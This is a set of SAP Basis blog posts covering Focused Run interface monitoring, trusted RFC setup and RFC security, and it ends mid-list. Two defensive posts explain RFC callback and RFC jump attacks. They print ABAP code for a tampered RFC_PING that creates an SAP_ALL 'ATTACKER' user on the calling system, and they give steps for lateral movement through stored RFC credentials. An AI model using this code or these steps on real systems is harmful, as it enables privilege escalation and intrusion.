Tag: RFC

SAP Focused Run interface monitoring overview

The integration and cloud monitoring function of SAP Focused Run consists of 2 main functions:

  • Interface monitoring between SAP systems
  • Cloud monitoring between on premise and cloud SAP products (see blog)

This blog will give an overview of the interface monitoring between SAP systems.

Questions that will be answered in this blog are:

  • How does the interface monitoring in SAP Focused Run look like?
  • How much details and history can I see in SAP Focused Run interface monitoring?
  • How can I enable my systems for interface monitoring?
  • How do I set up a scenario to monitor?
  • How do I setup alerting for an interface scenario?
  • How do I setup Idoc monitoring?
  • How do I setup ODATA monitoring?
  • How do I setup qRFC monitoring?
  • How do I setup webservice monitoring?
  • How do I setup RFC monitoring?
  • How do I setup SLT monitoring?

Interface monitoring

To start the interface monitoring click on the Fiori tile:

In the next screen you now select one or multiple integration scenario’s:

Then you reach the scenario overview screen:

You can immediately see with the red colored scenario’s that there is an issue.

Click on the red scenario to open the details of the scenario topology:

The topology indicates most of the interfaces are correct. To see the detailed issue, click on the red line:

Click on the red error for the details:

On the right side of the you can click on the Dashboard icon to get an historical overview:

Link with alert management

Interface errors can be the trigger for an alert in the Alert Management function.

Technical scenario setup

e concept for interface monitoring is unfortunately a bit confusing at first.

There are 2 main things to remember:

  1. Systems data collection and alerting: this is where the action happens
  2. Graphical representation: this is where you make it visible

Unfortunately this means you have to do lot of double work.

Set up systems

Go to the Integration and cloud monitoring Fiori tile. On top right click on the configuration icon to change or add a scenario:

First add the systems:

Select the system:

Select the configuration categories:

Select the monitoring:

Here you must add the connections you want to monitor.

The alerting configuration is empty initially:

We will fill this later if we want alerts for a specific interface connection.

Save this system and repeat for the rest of the systems.

The system determines the actual data collection and actual alerting. The system can be re-used in multiple scenarios.

Scenario configuration

On the configuration screen now add the new scenario. Add a name and description for the scenario:

In the topology screen now add the systems in the drop down for Node Selection and use the + icon to add them to the screen:

Now select the source system (we will have 1 CUA central and 2 child systems) and select the Action box:

Select Add link to and then select the system.

Now add a filter to the link by clicking on the line:

In the dialog screen on the right now add the details:

Start by giving the group a name. Now add the filter. Give the filter a name (in this case RFC1). Select the central component and the category (in this case Connection monitoring SM59). Now add the RFC connection type (3) and connection name to be monitored.

Very important here: press Ok first to transfer the data. Only then press Save. Otherwise your data is lost. SAP UI is not ok for this area.

Repeat for the second scenario. The end result is that the dotted lines are replaced by straight lines:

Then Save.

The scenario is active now:

Reminder: you did have to add the same information in the system level as well in the Technical System as well: this will perform the data collection itself. If this is not done, then the scenario overview will show grey results for missing data collection.

The scenario is used to make the interfaces graphically visible.

Adding alert

When you have monitored the scenario long enough to see it is stable, the next step is to setup alerting so you get notified in the central alert inbox.

First add the alert in the Technical System as shown above. This will be the actual alert definition.

To add an alert to the graphical overview, go to the scenario definition and select the source system. Press the button alerts for component:

On the right hand side now add the alert by clicking the + button:

Then select the wanted Alert Category. And select the filter options. Add the connections for which you want to alert:

Give the filter also a name.

On the Description field you can set the alert to active:

You can also set the frequency of checking, and if an notification is to be send as well (via mail or towards outbound connector).

Also important here: first press Ok, then Save. Otherwise the data is lost.

Set up Summary and final check

After you have finished the graphical topology, you need to go back to the Systems overview to validate if everything is activated ok for both monitoring and alerting:

Reminder: there is a split in graphical representation in the topology and scenarios and the actual system monitoring and alerting in the Technical System overview.

Interfaces that can be monitored

Full list of interfaces that can be monitored is published on the Focused Run expert portal.

Specific interface monitoring topics are explained below:

  • Idoc monitoring
  • ODATA Gateway monitoring
  • qRFC monitoring
  • RFC monitoring
  • SLT monitoring
  • Web Service monitoring

Idoc monitoring

SAP Focused Run can both report on idoc errors and delays in idoc processing. Delay in idoc processing can cause business impact and is sometimes hard to detect, since the idocs are in status 30 for outbound, or 64 for inbound, but are not processed. SAP Focused Run is one of the only tools I know which can alert on delays of idoc processing.

The monitoring starts with the Integration & Cloud monitoring tile. Then select the modelled idoc scenario (modeling is explained later in this blog):

On the alert ticker you can already see there are alerts for both idocs in error, but also alerts for idocs in delay:

In the main overview screen click on the interface line to get the overview of idocs sent:

You can now see the amount of idocs that were sent successfully, which are still in transit and which ones are in error. Click on the number to zoom in:

Click on the red error bar to zoom in further to the numbers:

Click on the idoc number to get further details:

Unfortunately, you cannot jump from SAP Focused Run into the managed system where the idoc error occurred.

Documents monitor for idocs

A different view on the idocs can be done using the documents monitor. You can select the documents monitor tool on the left side of the screen:

Now you goto the overview:

You can click on the blue numbers to dive into the details. Or you can click the Dashboards icon top right of the card to go into the dashboard mode:

This will show you the summary over time and per message type. Clicking on the bars will again bring you to the details.

Data collection and alerting setup for idoc monitoring

In the configuration for interface monitoring in the Technical System settings, goto the monitoring part and activate the data collection for Idoc monitoring:

In the monitoring filter, you can restrict the data collection to certain idoc types, receivers, senders, etc. Or leave all entries blank to check every idoc:

The graphical modelling for idocs is similar to the explanation of the example above.

Alerting for idoc errors

First alert we set up is the alert for errors.

Create a new alert and select the alert for idocs in status ERROR for longer than N minutes:

Now we add the filter. In our case we filter on outbound idocs of type DESADV:

A bit hidden at the bottom of this screen is the setting for the N for the minutes:

The time setting is depending on your technical setup of idoc reprocessing jobs (see for example this blog), and the urgency of the idocs for your business.

In the description tab add the notification variant in case you want next to the FRUN alert also mail to be sent (setup is explained in this blog).

You can set up multiple alerts. This means you can have different notification groups for different message types, different directions, different receiving parties.

Save the filter and make sure it is activated.

Idoc alert for backlog

Next to alerting on errors, Focused Run can also alert on delay of idocs. This can be done for both inbound and outbound idocs.

To set up an alert for backlog choose the option idocs in status BACKLOG for longer than N minutes:

In the filter tab set the idoc filter and at the bottom fill out the value for N minutes of backlog that should be alerted:

And in the final tab set the notification variant if wanted:

Save the filter and make sure it is activated.

Definition of delayed and error idocs

On the SAP Focused Run expert portal on idocs, there is this definition of the determination of idocs in delay and error:

Data clean up idoc monitoring

If you get too much data for idoc monitoring, apply OSS note 3241688 – Category wise table cleanup report (IDOC, PI). This note delivers program /IMA/TABLE_CLEANUP_REPORT for clean up.

ODATA gateway monitoring

We assume in this use case that end users are using the ODATA in FIORI apps. In case ODATA is consumed by external applications like Tibco, Mulesoft, Mendix, etc., you have to replace USER with the corresponding application.

Model end users in LMDB

Before we can start the scenario modelling, we first need to model the end users in LMDB as a Unspecific Standalone Application System), just like we did for TIBCO in this blog.

Name the ‘system’ USER:

Make sure the status is Active.

Add this new system USER to the Technical System list in the Integration Monitoring setup.

The system will be display only.

Data collection and alerting setup for ODATA interfaces

In the configuration for interface monitoring in the Technical System settings, goto the monitoring part and activate the data collection for Gateway Errors:

In the monitoring settings, you can filter on specific items if wanted, or leave everything blank to report on any error:

In the tab alerting setup the alerting:

The filter for monitoring and alerting can be different. It cloud be you want to monitor all errors, but only activate specific important ones.

Save your monitoring data collection and alerting settings.

Graphical modelling of ODATA interfaces

In the graphical modelling add the backend system and the system created for USER:

Now add the link starting with USER towards the backend system:

Save your changes.

Also here: first scroll down to see the OK button. Press first OK before pressing Save, or you might loose the data and have to re-enter it. This it bit annoying in the UI.
Monitoring usage of ODATA interfacing

The end result in operations looks as follows:

In the graphical overview click on the red line. The screen with the exceptions opens. Click on the red number to see the overview:

Here you can see the trends and zoom into the specific errors:

qRFC monitoring

qRFC connections are frequently used in communication from ECC to EWM and SCM systems. For generic tips and tricks for qRFC handling, read this blog.

OSS notes for bug fixing qRFC monitoring

Please make sure bug fix OSS note 3014667 – Wrong parameter for QRFC alerts is applied before starting with qRFC monitoring.

Other OSS notes:

Data collection and alerting setup for qRFC monitoring

In the configuration for interface monitoring in the Technical System settings, goto the monitoring part and activate the data collection for qRFC Errors:

In the monitoring settings, you can filter on specific queues, direction and RFC name, or leave everything blank to report on everything:

In the alerting part check you can choose between age of qRFC entries and number of entries:

And set the filters for which ones, and the metric threshold for CRITICAL errors:

The filter for monitoring and alerting can be different. It could be you want to monitor all errors, but only activate specific important ones.

Save your monitoring data collection and alerting settings.

Queued RFC’s are normally back and forth between 2 systems. If this is the case you have to make the settings for both systems.

Graphical modelling of qRFC interfaces

In the graphical modelling add the filter between two systems for the qRFC monitoring:

Also here: first scroll down to see the OK button. Press first OK before pressing Save, or you might loose the data and have to re-enter it. This it bit annoying in the UI.

Queued RFC’s are normally back and forth between 2 systems. If this is the case you have to make the settings for both systems. You model first one direction and then model the direction back:

Monitoring qRFC usage

The end result in operations looks as follows:

You can see here qRFC is modelled back and forth between 2 systems. The blue line indicates messages in process. The red line is clicked on. Here you can see both messages in process and errors. Click on the red error number gives the details:

Monitoring RFC’s between SAP systems

RFC’s with fixed user ID

See the example above on CUA idoc monitoring.

Trusted RFC’s

If you have to setup an RFC monitoring for a trusted RFC (for example between Netweaver Gateway system and ECC system), then you have to take care of the user ID’s and rights. The system from which the SM59 test will run, will use that Focused Run user ID to log on to the other system. If your user ID’s are unique for each system you have to create the user ID in the other systems with the rights to be able to execute a ping and logon for the test.

End result RFC checks

The end results of the RFC is list of RFC’s with the latency time, availability and logon test overview:

Transactional RFC towards external system

To monitor transactional RFC (type T) towards an external system like TIBCO, Mulesoft, etc, you first need to model the external system in the LMDB. To do this goto the LMDB maintenance Fiori app:

Then select Single Customer Network and select the option Technical Systems. In this section choose the Type Unspecific Standalone Application System:

And press Create:

Fill out the details and Save. Make sure the status is Active.

Now the system can be added in the configuration of technical systems in the Interface monitoring configuration:

Now you can model the tRFC interface connection monitoring:

OSS notes for RFC monitoring

Relevant OSS notes:

SLT integration monitoring

This blog focuses specifically on SLT integration monitoring. Monitoring an SLT system itself is explained in this dedicated blog.

Set up SLT integration scenario

Start the integration and exception monitoring FIORI tile:

On the configuration add the SLT system:

Select SLT as specific scenario:

On the Monitoring part you can filter on a specific source system and/or SLT schema:

On the 3rd tab you can set the Alerting in cases of errors:

Now save and activate. The monitoring is active now.

Next step is to use this system in a model for your scenario:

Using the SLT integration monitor

If you open the Fiori tile and you have selected your scenario, you still need to perform an extra click to go to the SLT monitor:

First you get overview of your system(s):

You need to click on the blue numbers to drill down:

This gives overview of errors, source connection status and target connection status.

You cannot drill down further on this tile. If you see an error, you need to go to your SLT server and start transaction LTRO to see all detailed error and start fixing from there. Transaction LTRO can have errors shown that are not visible in transaction LTRC. Focused Run uses LTRO data.

Web service monitoring

Web services monitoring automates the monitoring in transaction SRT_MONI, which is extensively explained in this blog.

This monitoring does not check the connection availability of the web service. To make that happen, you would need to install a custom program from this blog, that writes an entry to SM21. From the SM21 entry, you can create a custom monitoring metric that alerts on the connection issue. How to setup custom metrics is explained in this blog.

SAP reference for web service monitoring can be found here.

Data collection and alerting setup for web service monitoring

In the configuration for interface monitoring in the Technical System settings, goto the monitoring part and activate the data collection for Web Service Errors:

In the monitoring settings, you can filter on specific criteria, or leave everything blank to report on everything:

In the alerting part check you can choose between amount of entries and number of error entries:

And set the filters for the alerting:

The filter for monitoring and alerting can be different. It could be you want to monitor all errors, but only activate specific important ones.

Save your monitoring data collection and alerting settings.

Graphical modelling of web services monitoring

In the graphical modelling add the filter between two systems for the web service monitoring:

Also here: first scroll down to see the OK button. Press first OK before pressing Save, or you might loose the data and have to re-enter it. This it bit annoying in the UI.
Monitoring usage of web services

The end result looks as follows:

You can click on the errors or success messages and zoom all the way down to individual messages:

<< This blog was originally posted on SAP Focused Run Guru by Frank Umans. Repost done with permission. >>

How to check RFC usage in your ABAP system?

Security teams might request to you as basis administrator: which RFC calls are being made to and from your ABAP system? And you need to know which users and applications are calling on RFC.

Questions that will be answered in this blog are:

  • Which users and systems are calling my ABAP system using RFC?
  • Which programs and processes are using RFC?
  • How much data is transferred using RFC?

If you need to check HTTP usage in your ABAP system: read this blog.

RFC statistics in ST03

Go to transaction ST03N or ST03, and open the total for this month. Then open the analysis view for RFC statistics. First check the WEB Client Statistics:

This already gives a lot of information: function modules and amount of data. On the tabs for Transaction, User and Remote destinations, Remote servers and Local servers you can get even more details you need for RFC transaction source.

On all 6 tabs on all 4 reports you can double click to get more details:

Tab PageMeaning
Function ModuleTransactionUserWhat workload is caused by the function modules, transactions, or users (depending on the selected RFC profile, as the RFC client or the RFC server)?
Remote DestinationRemote ServerLocal ServerWhere is the RFC workload created?

Reference OSS notes

OSS notes:

Setting up trusted RFC connection

This blog will explain how to set up trusted RFC connection.

Questions that will be answered are:

  • How to setup a trusted RFC connection?
  • How to edit generated RFC in SM59 using the TOGL function?

     

Setting up trusted RFC

Start in transaction SM59 to create an RFC to the destination system:

Trusted RFC with user name

Fill out your own user ID first. Make sure your user ID is existing in the destination system and is having sufficient S_RFCACL rights in the destination system. See OSS note 128447 – Trusted/trusting systems for the details.

Test the connection including the remote logon.

If that is ok, start transaction SMT1 and start the roadmap for setting up the trusted connection:

SMT1 enter destination

Enter the destination and finish the roadmap:

SMT1 complete roadmap

Complete the roadmap. 

Now return to SM59 for the destination and remove the user ID, tick the box “Current User” and switch the Trust Relationship to Yes:

Trusted RFC with trust setting

Now test again. All should work.

Background SAP wiki can be found in this link.

Background notes:

Testing trusted RFC

A trusted RFC can be tested via the Remote Logon button:

If you now can jump from the current system to the connected system without password prompt: then all is fine.

If it is not working: check in the target system in ST22 for a remote logon failure dump. Must likely your user does not have sufficient rights in the target system.

RFC security settings

For checking RFC security settings, read this dedicated blog.

RFC Access Control List

In the newer S4HANA versions, you can switch from an authorization check towards a full Access Control List setup. Use transaction SMTACL and select the trust connection:

Switch here to Access Control List Check.

RFC hacking

Be aware that RFC’s and especially trusted RFC’s can be misused for hacking. Read this dedicated blog on how, and how to protect.

Checking which systems you trust

With transaction SMT2 you can check which systems have a trusted system setup towards the system you are currently logged in to.

Editing trusted connections

Trusted connections are generated. In case of emergency you might need to edit this, in the command bar enter keyword TOGL to go to SM59 edit mode:

See note 3212943 – How to edit the settings of unchangeable RFC destinations.

Trusted systems and installation number changes

If you have trusted systems and want to change an installation number of one of the systems, carefully read this OSS note: 2849941 – SMT1/SMT2 configuration after SID or installation number change.

Issues with trust certificates

In exceptional cases you might face issues with cache refresh of replaced certificates. See OSS note 2947038 – Error SOAP:1033 CheckPSE occurs in STRUST/STRUSTSSO2. Solution is to run program SRT_CFG_CLEAR_DESIGNTIME_CACHE.

Trusted RFC security note 3157268

Unfortunately SAP released security note 3157268 – How-To-Guide: Migration of Trusted/Trusting Relationships. Along with the FAQ note 3281854 – FAQ for Security Note 3089413. If you did not migrate your existing trusted RFC’s to the new setup, do it fast within reasonable time (which includes proper testing).

After migration is done, or when you have a new setup, make sure you have set parameter rfc/allowoldticket4tt to the value no.

Checking RFC security settings

RFC security is a cumbersome job. There are programs to help speed up the security checks for RFC connections.

Questions that will be answered in this blog:

  • How to quickly check all the RFC’s in my system?
  • How to quickly check the trusted RFC’s in my system?

Hacking using RFC connections

RFC callback hacking: read this blog.

RFC jump hacking: read this blog.

Check RFC connections

Program RSRFCCHK (which also has the same transaction code RSRFCCHK) can quickly scan all your RFC’s. In the selection screen, please make sure to select the 2 extra boxes for “Also check RFC destinations without explicit password” and the “Select destinations without target system too”:

The connection test is optional. But if the RFC is not working, then you might consider it old and no longer needed. In this case you can perform the clean up by deleting the RFC.

The output of the report RSRFCCHK, you can use to look for:

  • RFC’s with personal user ID
  • Cross system layer RFC’s (from production to development, or from development to production)
  • Trusted connections where you don’t expect them
  • Old destinations no longer in use
As a best practice at least yearly check on every system the RFC's that are setup there. Read this blog on how easy it is to use wrongly configured RFC's to hack a system.

OSS notes: 3283474 – Adjustment of authorization for program RSRFCCHK.

Check trusted connections

To check trusted connections run program RS_SECURITY_TRUST_RELATIONS. Output example:

The red lights should be investigated and fixed.

More on setting up trusted RFC’s is written in this blog.

SAP standard on RFC security

OSS note 2008727 – Securing Remote Function Calls (RFC) contains a very extensive PDF explaining all ins and outs on RFC security.

SAP interfacing: RFC

SAP has many different ways to interface. The RFC (Remote Function Call) protocol is one of the most wide used.

This blog will explain best practices around secure and correct setup of custom built ABAP RFC function modules.

Questions that will be answered are:

  • How to setup RFC enabled function module?
  • How to setup proper RFC error handling?
  • How to setup security in RFC enabled function module?
  • How strict is the S_RFC authorization handling?
  • Why is SAP_ALL not sufficient for RFC handling?

Creation of test RFC enabled function module

In SE37 you can setup an RFC enabled function module just like a normal function module. First create a function group. Activate that function group in SE80. Now you can create the function module. We will call our test module ZBAPIDEMO:

Important here in the first tab is to set the processing type to Remote-Enabled Module.

For testing we setup import and export tabs:

RFC export tab

Important here with RFC: set the Pass by value tickbox.

For tables use a suitable table type:

And setup the correct exceptions:

Here you can see 2 very important error messages that should always be implemented:

  1. An extra authorization check
  2. An error message when no data is found

Now we can implement the following simple source code:

   DATA: zls_coms_gen_textline TYPE coms_gen_textline.
 
   AUTHORITY-CHECK OBJECT 'S_CDMC'
   ID 'CDMC_AREA' FIELD 'A'
   ID 'CDMC_ROLE' FIELD 'U'.
   IF sy-subrc EQ 0.
 
     CASE zimport.
       WHEN 1.
         zexport = 'Hello world'.
       WHEN 2.
         zls_coms_gen_textline-entry = 'Hello world table 1'.
         APPEND zls_coms_gen_textline TO ztable.
         zls_coms_gen_textline-entry = 'Hello world table 2'.
         APPEND zls_coms_gen_textline TO ztable.
       WHEN OTHERS.
         RAISE not_found.
     ENDCASE.
 
   ELSE.
     RAISE not_authorized_business.
   ENDIF.

What is important here in this source code:

  1. The authorization check is implemented and raises an error
  2. If no data is found the NOT_FOUND error is raised

With the SE37 test suite you can test diverse scenario’s now.

Calling RFC function module from another ABAP system

If you call this RFC function module form another ABAP sytem you have to make sure you have set and check the following exceptions:

  exceptions

      not_authorized_business = 1

      not_authorized          = 2

      system_failure          = 3

      communication_failure   = 4

      not_found               = 5

      OTHERS                  = 6.

There are 2 exceptions from the BAPI definition:

  1. NOT_FOUND (nothing found)
  2. NOT_AUTHORIZED_BUSINESS (our own implemented business authorization check)

4 exceptions should be implemented as part of the RFC framework:

  1. NOT_AUTHORIZED: this is the RFC authorization, which will be explained next chapter
  2. SYSTEM_FAILURE: the coding has caused a dump and the system returns and error message (see OSS note 2484377 – Error Message: “RFC Exception SYSTEM_FAILURE Raised; No More Memory Available to Extend an Internal Tab” Upon Executing a Data Extraction Run as an example)
  3. COMMUNICATION_FAILURE: the call to the other system fails. Most likely if you go to SM59 to the RFC destination and perform a connection test you will get a failure.
  4. OTHERS: something else went wrong

The developer should take proper care of these error situations.

Dear ABAP developers: the basis team member are also humans. They will make RFC configuration errors, they rely on the authorization team to assign the correct roles and they rely on infrastructure providers to make sure systems are up and running. Also the basis team will need to perform patching and upgrades to the system, which you as ABAP developer, are calling. So please don't blame the basis team for these exceptions, but please be a good developer and implement proper error handling. If you didn't implement proper error handling, and something went wrong on basis side, that caused your code to go wrong, think twice before putting blame on basis if your code is not handling the situation properly.

For reference: OSS note 1371131 – Correct error handling of RFC calls.

Security of RFC calls

Security of RFC calls is consisting of 2 layers:

  1. The RFC layer
  2. The business application code

You should always implement both layers!

The RFC layer is protected by authorization object S_RFC:

Here you can choose between a function group or even allowing per function module. Personally I would protect by function module. Background: create, change and display BAPI’s will normally be developed inside same function group.

There is a common misunderstanding that if you give SAP_ALL to a (background) user, this would solve the RFC authorization issues. This is not true. SAP_ALL does not contain the S_RFC rights. You have to hand them out separately.

Best practice 1: you might want to start with broad authorizations at the beginning of a development to rule out authorization issues. But you must definitely limit the rights before you make the development go productively live.

Best practice 2: as first statement inside each and every RFC function module, program a relevant business authorization check statement. This is an extra safety measure that is needed to protect important business data from authorization consultants that have handed out * authorizations in object S_RFC (* means all).

Best practice 3: check in transaction SM59 that the RFC callback protection is activated. Read this blog how a hacker can easily misuse if not properly setup.

Best practice 4: be careful on the RFC setup to avoid that hackers misuse the RFC jumping option. Read more in this blog.

More on checking the basis RFC security: read this blog.

Generic S_RFC check handling at basis level

The behavior of the S_RFC check is driven by the settings of RZ11 profile parameter auth/rfc_authorithy_check. Please make sure it has a setting of 6 or higher. Best is 9. A system with 5 or lower can be considered as insecure!

Background OSS note: 2216306 – S_RFC check and profile parameter auth/rfc_authority_check.

Setting up trusted RFC connections

Set up of trusted RFC connections are explained in this blog.

RFC performance

Check if you can use the RFC fast serialization option. This option is available for a lot of modern SAP systems. It is not activated by default. Read more on the fast serialization option in this blog.

RFC callback hacking

This blog explains about RFC callback hacking.

When you start transaction SM59 for setting up RFC connections, you might see the red icon telling you RFC callback check not secure.

RFC callback not secure

This blog will explain you following:

  • How can a hacker exploit this RFC callback weakness?
  • How to make the RFC callback secure?
  • What is the difference between RFC callback simulation and intervention?
  • What to do in case of a valid use of RFC callback?

RFC callback hacking in action

What the RFC callback does is basically firing back function modules to the sender. These modules are then executed on the originating system with the privileges of the original caller.

If an attacker has gained access to one system and modifies code that is called from another system it can fire commands to the other system with the privileges of the caller.

In the example below the attacker has altered the standard RFC_PING function module (code snippet is below). He then convinces a high privilege admin of the target system to remotely call and ping the compromised system for example by asking the admin to do a connection test in SM59 (which calls the RFC_PING module). The callback code is fired against the target system and is run with the user ID of the admin (not of the attacker) of the target system.

RFC callback hack explanation

Code snippet of modified RFC_PING:

  • Call module to create user on destination ‘BACK’ and set the password.
  • Assign the privilege SAP_ALL (highest available privilege)
 DATA: ZLV_BAPIBNAME TYPE SY-UNAME.
 DATA: ZLS_BAPILOGOND TYPE BAPILOGOND.
 DATA: ZLV_BAPIPWD TYPE XUNCODE.
 DATA: ZLS_BAPIADDR3 TYPE BAPIADDR3.
 DATA: ZLT_BAPIRET2 TYPE TABLE OF BAPIRET2.
 DATA: ZLS_BAPIPROF TYPE BAPIPROF.
 DATA: ZLT_BAPIPROF TYPE TABLE OF BAPIPROF.
 
   ZLV_BAPIBNAME = 'ATTACKER'.
   ZLS_BAPILOGOND-USTYP = 'A'.
   ZLV_BAPIPWD = 'Welcome_in1!'.
   ZLS_BAPIADDR3-LASTNAME = 'Attacker'.
 
   CALL FUNCTION 'BAPI_USER_CREATE1' DESTINATION 'BACK'
     EXPORTING
       USERNAME                      = ZLV_BAPIBNAME
       LOGONDATA                     = ZLS_BAPILOGOND
       PASSWORD                      = ZLV_BAPIPWD
       ADDRESS                       = ZLS_BAPIADDR3.
 
 ZLS_BAPIPROF-BAPIPROF = 'SAP_ALL'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 ZLS_BAPIPROF-BAPIPROF = 'SAP_NEW'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 
 CALL FUNCTION 'BAPI_USER_PROFILES_ASSIGN' DESTINATION 'BACK'
   EXPORTING
     USERNAME       = ZLV_BAPIBNAME
   TABLES
     PROFILES       = ZLT_BAPIPROF
     RETURN         = ZLT_BAPIRET2.

If the admin executes the ping towards the compromised system he will see this screen:

RFC ping

The only suspicious part the admin might see is the slightly longer logon time (in which the callback is executed).

End result on target system: ATTACKER user created by ADMIN user.

Attacker user created

With the privileges:

Attacker admin privileges assigned

This is one example. There are many different creative ways in which a callback RFC can be misused.

Detection of the RFC callbacks

RFC callback actions are registered in the SAP audit log if they are configured. The default classification is warning for RFC callback.

Audit log trace for the above action looks as follows:

Audit log for user ADMIN

How to make the RFC callback secure?

The SAP system parameter rfc/callback_security_method (set it in RZ11) is determining the RFC callback behavior.

rfc/callback_security_method set to 1 means basically “do nothing”. This is the insecure default setting and it will result into the red traffic light on SM59 RFC connection setup screen.

rfc/callback_security_method set to 2 means “simulation active”. With this setting entries are written to the audit log (for setup of the audit log see this blog).  This setting is still insecure!

It can be used on a productive system to see which callbacks are coming in and do analysis before switching to 3 (fully secure, but immediate interception).

Make sure in the audit log, that the simulation is captured:

Simulate for a while, and the generate the white list (or positive list):

rfc/callback_security_method set to 3 means that the system will do interfception of RFC callback methods. This is the secure setting. The SM59 RFC connection traffic light will now show green:

RFC callback secure

Callback positive lists

In some cases an RFC callback is used with a good intention and reason. These exceptions can be put into the callback positive list. Per RFC on the Logon & security tab you can activate the combination of called and called back function modules.

If you have enabled the audit log, you can use it to generate RFC callback positive lists. In SM59 select the option: RFC / Generate RFC Callback Positive List.

Check to apply OSS note 2863851 – RFC Callback Positive Lists not created.

If you have spaces in the RFC, or by accident add a space as well, it can also give issues. Apply OSS note 2941068 – sm59/Callback whitelist input validation missing to fix this issue.

A callback can be seen as ST22 dump CALL_FUNCTION_BACK_REJECTED: see OSS note 2981184 – What to do in case of CALL_FUNCTION_BACK_REJECTED short dump.

OSS notes

Explanation notes:

Bug fix notes:

Known positive callback: SAP CUA

SAP CUA (central user administration) uses a callback to fetch profiles. In your CUA system per RFC to remote child CUA system you have to set the following positive callback:

CUA postive callback settings

(SUSR_ZBV_GET_REMOTE_PROFILES and SUSR_ZBV_SEND_PROFILES)

Known positive callback: SAP screen painter RFC EU_SCRP_WN32

In the screen painter RFC EU_SCRP_WN32 add the following list of modules (see OSS note 2251931 – Runtime error CALLBACK_REJECTED_BY_WHITELIST in graphical Screen Painter):

RS_SCRP_GF_PROCESS_640         RFC_GET_FUNCTION_INTERFACE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RBUILDINFO

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RELEMTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RICONS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RMESSAGES

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RPROPTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RSTATUS_40

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RDDICFIELDS

The screen painter is hardly used nowadays at all. Normally developer use this tool only on development system.

Known positive callback: remote ATC scenario

See OSS note 3084103 – Analyze reference check variants for RFC callbacks.

Known random callback issue: transport related callback calls

Some cases around transports are know. For example with system copies and refreshes. An RFC callback dump on module TRINT_PROGRESS_INDICATOR might occur on RFC destination BACK. In the dump you will find the real RFC (type TCP/IP) destination with variable LV_TP_DESTINATION. Regeneration is needed. Follow the instructions of OSS note 3356141 – CALLBACK_REJECTED_BY_WHITELIST when showing transport orders buffer.

SAP system hacking using RFC jump

This blog will explain the SAP system hacking using RFC jump method. It will show the simplicity of the hack, and tell you what to do in preventing this method to be used on your SAP system.

Question that will be answered:

  • How does the RFC jump SAP system hack work?
  • How do I check all my RFC’s for this weakness?
  • What can I do to prevent this hack from happening on my system?

RFC jump hack background

SAP uses RFC connections between SAP systems to send and received business data. For example the BI system will pull data from the ECC system via an RFC connection. The SAP solution manager system is fed from the ECC system via an RFC connection. Or a SAP netweaver gateway system serving SAP FIORI tiles.

In the RFC setup the system admin will have to set the connection details and its logon method. The logon methods can be:

  • Current user via logon screen
  • Current user via trust logon screen
  • Fixed user ID: dialog user ID or background user ID

The first method with logon screen will prompt for user ID and password and is not useful for hacking.

The trusted connection will check the rights in the other SAP system using your own user ID and privileges.

The RFC’s with fixed user ID’s will use the user ID and privileges of the user ID in the RFC connection and also using password entered by the admin. So you don’t even need to know the password…..

3 methods of misusing the RCF jump

3 methods of misusing the RFC jump will be explained. All of the scenario’s start from a already compromised system.

RFC jump explained

You have gained access to an SAP system, which in first instance is less important. For example by using standard SAP passwords (see blog on this topic).

1. Using the weakness to jump from one system to another: named dialog users in RFC

Now you start to scan the RFC’s of this server in SM59.

RFC with admin password

You notice that there is an RFC to another system which has the user ID and password of the system admin. You now simply click the remote logon button and you jump to the other system.

Remote logon button

You are logged on now into this system with the user ID and privileges of this other user ID. From this system you can even jump further.

This way you could go from a development to productive server. Or from a BI to an ECC server. Or from Solution manager to ECC productive server.

2. Using the weakness to jump from one system to another: named background users in RFC

The jump will not work if the user ID in the RFC is a background user ID. One example here is the ALEREMOTE user in ECC, which is used by the BI system to extract data from ECC. Since this user has to pull a lot of data and is needing a lot of privileges this user ID is sometimes given SAP_ALL privileges.

If this is the case the hacker can still misuse this RFC. In the hacked system he goes to transaction SE37 and creates a test function module sequence consisting of 2 calls: BAPI_USER_CHANGE and BAPI_TRANSACTION_COMMIT.

function modules

The first call will have the input to change user ID ALEREMOTE user type from B (background) to type A (dialog). The commit is needed to actually confirm and push the change to the database. Once the sequence is setup the hacker will use the test function to fire the sequence. In the testing the hacker will put in the RFC with the ALEREMOTE user. Now this sequence will be fired with the privileges of the ALEREMOTE user (it has SAP_ALL). So it will then itself change its own user type remotely…. After this is done the dialog jump will work from the remote system and the hacker comes into the system with user ALEREMOTE and the attached SAP_ALL rights.

3. Using the weakness to jump from one system to another: trusted RFC’s

If you have taken over one system and you see a trusted RFC towards another system this can be misused for hacking.

Trusted connection

But you need extra information. If you know the user ID of the admin in the system target, set up the user ID in the system already taken over, or if already there reset password. Then logon in the taken over system with the admin user ID. Goto SM59 to the trusted connection. Click remote logon and you jump to the other system without having to logon, but with the user ID and privileges of the admin.

For setup of trusted RFC’s read this blog.

How to detect the jumps which are misused?

The complexity in detection is not to detect the jumps itself, because there is also good use of the jumps (via the trusted RFC’s), but to detect the misused jumps. This is hardly possible.

Detection can be done for the user changes executed by background users. Detection could be done with tracking the terminal ID suddenly switching user ID.

The SAP audit log can help you find traces to what has happened as detective after the fact method. But it will not help you detect or prevent misuse.

How to scan your RFC’s for potential misuse?

SAP provides a program to check RFC’s for weak settings: RSRFCCHK.

Running this program will leave system log messages: 2724967 - Program CL_SAIS_ Reports Security Breach notification when running program RSRFCCHK

If you start the program select all the destinations and optionally the connection test to see if the connections work at all.

RSRFCCHK program

The result will give you a list of potentially dangerous RFC connections and the user ID’s used.

RSRFCCHK program result including connection test

This you can use as a work list for checking.

Read more on RFC security checking in this blog.

Apply note 3283474 – Adjustment of authorization for program RSRFCCHK to upgrade security of program RSRFCCHK itself.

Protection measures

Protection is possible by a series of actions (a single action will not be sufficient):

  • Access restriction. Restriction of access to SU01 user management and SM59 RFC setup. Not only on main systems, but also on connected trusted systems.
